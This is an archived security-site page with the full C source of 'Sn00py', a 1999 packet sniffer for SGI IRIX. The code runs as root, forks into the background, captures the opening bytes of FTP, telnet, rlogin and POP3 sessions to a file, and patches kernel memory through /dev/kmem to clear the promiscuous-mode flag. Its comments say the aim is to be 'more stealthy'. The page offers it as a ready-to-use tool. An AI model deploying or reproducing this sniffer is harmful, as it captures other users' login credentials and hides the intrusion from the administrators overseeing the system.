global security disclosure

snoop2.c

snoop2.c
Posted Aug 17, 1999
Authored by morpheus

Sn00py.c is a quick and dirty packet sniffer for SGI IRIX. This latest release of the super lightweight packet sniffer incorporates a 'depromiscuator' function to avoid setting off the IFF_PROMISC flag.

tags | tool, sniffer
systems | irix
MD5 | 0cbd2698307dca333fcec4abd09c3a1d

snoop2.c

Change Mirror Download


/*----------------------------------------------------*/
/* S n 0 0 p y . c */
/* ------------------ */
/* A quick and dirty packet sniffer for SGI IRIX */
/* ----------------------------------------------- */
/* This was written due to the lack of lightweight, */
/* good sniffers for my favorite OS, IRIX. The manual */
/* pages for snoop(7M) give half the code for this - */
/* great documentation. */
/* */
/* Earlier version set off the IFF_PROMISC flag. Due */
/* to public demand, and Phrack #53, I decided to add */
/* in the small 'depromiscuator' function, to clear */
/* that troublesome bit (greets, apk =) */
/* */
/* To compile: cc with -lelf, and -DIRIX64 -64 if you */
/* are using the 64 bit versions. */
/* if you're on IRIX 5.3, use -lmld */
/* To run: setenv 'interface' to the interface name. */
/* otherwise it'll attempt to bind to main. */
/* */
/* To comment/flame: /\/\orpheus (n00ne@hotmail.com) */
/*----------------------------------------------------*/

/* #Include's : I found that the order actually makes a difference.. */
/* (on some systems) so you'd better leave this as is.. */

#include <sgidefs.h>
#include <stdlib.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <sys/types.h>
#include <net/raw.h>
#include <netinet/if_ether.h>
#include <nlist.h>

/* #define's */

/* The following three are needed for depromiscuate */
#define PATH_VMUNIX "/unix"
#define N_IFNET 0
#define PATH_KMEM "/dev/kmem"

#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))
#define TRUE 1
#define FALSE 0
#define MAX_PACKETS 500
#define MAX_DATA 2048 /* in bytes */



/* Promiscuous mode handling code - inspired from Phrack 53 */
/* Greets, apk =) */

#ifdef IRIX64
#define NLIST nlist64
#define LSEEK lseek64
#else
#define NLIST nlist
#define LSEEK lseek
#endif



int kread(int fd, off_t addr, void *buf, int len)
{
int c;

if (LSEEK(fd, (off_t)addr, SEEK_SET) == -1)
return (-1);
if ((c = read(fd, buf, len)) != len)
return (-1);
return c;
}


int kwrite(int fd, off_t addr, void *buf, int len)
{
int c;

if (LSEEK(fd, (off_t)addr, SEEK_SET) == -1)
return (-1);
if ((c = write(fd, buf, len)) != len)
return (-1);
return c;
}

int depromiscuate (char *interface )
{

/* Most of this is from Phrack 53 - Greets where Greets due */

struct ifnet ifn, *ifp;
char ifname[IFNAMSIZ], *cp;

int fd, unit;

struct NLIST nl[] =
{
{ "ifnet" },

{ "" }
};




/* Separate # from name... */

cp = strpbrk(interface, "1234567890");
unit = strtol(cp, NULL, 10);
*cp = 0;

if (NLIST(PATH_VMUNIX, nl) == -1)
return(FALSE);

if (nl[N_IFNET].n_type == 0)
return(FALSE);


if ((fd = open(PATH_KMEM, O_RDWR)) == -1)
return(FALSE);

if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1)

return(FALSE);


/* Loop over all interfaces, till we find ours */
/* If interface wasn't set, just clear 'em all */

for (; ifp; ifp = ifn.if_next)
{
if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
return(FALSE);

if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1)
return(FALSE);

/* If that's our interface.... */
if ((!interface) || (interface && (strcmp(interface, ifname) == 0) &&
(unit == ifn.if_unit)))
{
printf ("Clearing Promisc flag\n");
ifn.if_flags &= ~IFF_PROMISC;
if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
return (FALSE);
}
} /* End for... */

return (TRUE);
}
char *resolvehost (struct in_addr ip_addr)
{
register struct hostent *he;

he = gethostbyaddr ( (char *) &ip_addr.s_addr,
sizeof(struct in_addr),
AF_INET);

return ( (he)?
(he->h_name) :
(inet_ntoa(ip_addr))
);


}

int filter (char *Packet,
int Packet_Size,
struct in_addr IP_Addr1,
int Port1,
struct in_addr IP_Addr2,
int Port2)
{

/* IP Packet Filtering Procedure */
/* ----------------------------- */
/* returns TRUE if Packet is from IP_Addr1:Port1 */
/* IP_Addr2:Port2, or vice versa.. */

/* if you need any more ports monitored - this */
/* is the place to do it... */

struct ip *IP_Header;
struct tcphdr *TCP_Header;

if ( (Packet[0] != 0x45) ||
(Packet[9] != 0x06)
)
/* This ain't a TCP/IP packet.. */
return (FALSE);



IP_Header = (struct ip *) Packet;
TCP_Header = (struct tcphdr *) (Packet +
4 * IP_Header->ip_hl);

if (
((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) &&
(memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) &&
(TCP_Header->th_sport == Port1) &&
(TCP_Header->th_dport == Port2)
)
/*
||
((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) &&
(memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) &&
(TCP_Header->th_sport == Port2) &&
(TCP_Header->th_dport == Port1)
)
*/ )
{ return (TRUE);}
else
return (FALSE);


}
int main (int argc, char **argv)
{

struct etherpacket {
struct snoopheader snoop;
char pad[ETHERHDRPAD];
struct ether_header ether;
char data[ETHERMTU];
} ;
struct snoopfilter {
u_long sf_mask[SNOOP_FILTERLEN];
u_long sf_match[SNOOP_FILTERLEN];
u_short sf_allocated:1,
sf_active:1,
sf_promisc:1,
sf_allmulti:1,
sf_index:SNOOP_MAXFILTSHIFT;
u_short sf_port;
} ;


int i, j, k; /* Counters... */
int bytes_read; /* data count */
int cc = 60000, on = 1;
int s; /* Our Snoop Socket... */

char *interface; /* Gets the interface env. var, if set */

struct sockaddr_raw sr;
struct etherpacket ep,ep1;
struct snoopfilter sf;

struct ip *IP_Header, *IP_Header1; /* Headers for overlaying */
struct tcphdr *TCP_Header, *TCP_Header1; /* on data buffers.... */

#define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags))

short int Source_Port, Dest_Port;
char *Source_Addr, *Destination_Addr;

char *output_filename;

FILE *output;

output_filename = strdup("OUT");


if (geteuid () != 0)
{
printf ("Error - You must be root to run this\n");
exit(-1);
}



/* Create the Snoop Socket.... */
s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
if (s < 0)
{
perror ("Error - Unable to open socket");
exit(-1);
}

/* Ready output file.... */

if ((output = fopen(output_filename, "wb")) == NULL)
{
printf ("Error - Unable to open output file %s\n", output_filename);
exit(-1);
}

sr.sr_family = AF_RAW;
sr.sr_port = 0;

/* Get the interface name (e.g. ec0, ef0, etc.) from an environment */
/* variable. Else, if not set, we'll attempt to bind to the primary */
/* interface... */

interface = getenv ("interface");
if (!interface)
/* attempt to bind to primary interface ... */

memset(sr.sr_ifname, 0, sizeof sr.sr_ifname);

else
strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname);

if (bind(s, &sr, sizeof sr) < 0)
{
perror ("Error - Unable to Bind Socket");
exit(1);

}

/* Kewl. We're bound. Next, initialize a generic filter, to match all */
/* packets, and add to the interface's filter set... */

bzero((char *) &sf, sizeof sf);
ioctl(s, SIOCADDSNOOP, &sf);


/* Increase the socket's receive buffer size to a generous upper bound, */
/* to cope with promiscuous reception of heavy traffic. Turn snooping on, */
/* read captured packets.. */
/* (yup.. right from the SGI Man..) */

setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
ioctl(s, SIOCSNOOPING, &on);

/* If we got here ok - fork. We'll want to be a bg process anyhow */

/* Clear the promiscuous bit from the interface, to */
/* be somewhat more stealthy.. (Added 4/18/99) */

if (! depromiscuate (interface))
printf ("******** RUNNING IN PROMISCUOUS MODE ********* \n");

if (fork())
exit(0);;

for (;;)
{
cc = read(s, (char *) &ep, sizeof ep);

/* ep.data now holds the packet, minus the ethernet header */
if ((cc > sizeof (struct ip)) &&
(ep.data[0] == 0x45) &&
(ep.data[9] == 0x06))
{
/* 0x45 = IPv4, and length = 5. So this is a pretty much */
/* unique Identifier for our purposes... 0x06 = TCP */
/* Since we checked the header len, we can safely overlay */
/* the struct ip on the data buffer.... */

IP_Header = (struct ip *) ep.data;

Source_Addr = strdup (resolvehost(IP_Header->ip_src));
Destination_Addr = strdup (resolvehost(IP_Header->ip_dst));


/* Now - carefully overlay the TCP header , right after */
/* the IP header - that is, at an offset of ip_hl WORDS */
/* from the beginning (hence the x4). */

TCP_Header = (struct tcphdr *) (ep.data +
4 * IP_Header->ip_hl);


/* Now - we're only interested in logging the first few */
/* bytes of each session (hey - we can't log EVERYTHING..) */
/* so - check for handshakes (see if SYN flag is up...) */
/* and log FTP, telnet, rlogin, and pop... */


if ((TCP_FLAGS_ARE_SET(TH_SYN)) &&
((TCP_Header->th_dport == 110) ||
(TCP_Header->th_dport == 23) ||
(TCP_Header->th_dport == 21) ||
(TCP_Header->th_dport == 513)
)
)
{

fprintf (output,
"Connection :%s(%d) -> %s(%d)\n",
Source_Addr, TCP_Header->th_sport,
Destination_Addr, TCP_Header->th_dport);


/* Read On */

bytes_read = 0;
cc = read(s, (char *) &ep1, sizeof ep1);
for (j=0;
(j < MAX_PACKETS) && (bytes_read < MAX_DATA) ;
)
{
if (filter(ep1.data, cc,
IP_Header->ip_src, TCP_Header->th_sport,
IP_Header->ip_dst, TCP_Header->th_dport)
)
{

IP_Header1 = (struct ip *) ep1.data;
TCP_Header1 = (struct tcphdr *) (ep1.data +
4 * IP_Header1->ip_hl);



if (TCP_Header1->th_flags & (TH_RST | TH_FIN))
{
fprintf(output,"\n\nSession Ended with FIN/RST\n");
j = MAX_PACKETS;
}
else
{
for (k= 4 * ( IP_Header1->ip_hl +
TCP_Header1->th_off);
k < IP_Header1->ip_len;
k++)
fputc(ep1.data[k], output);

bytes_read +=
IP_Header1->ip_len -
(4 * ( IP_Header1->ip_hl + TCP_Header1->th_off));
}
/* In any case, inc. packet count... */
j++;
}
cc = read(s, (char *) &ep1, sizeof ep1);

} /* End for j= ..... */

fprintf (output,"\nTotal bytes snagged: %d\n", bytes_read);
fflush(output);

} /* End if TCP_FLAGS_ARE_SET */

} /* end if */


} /* end for (;;) */
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close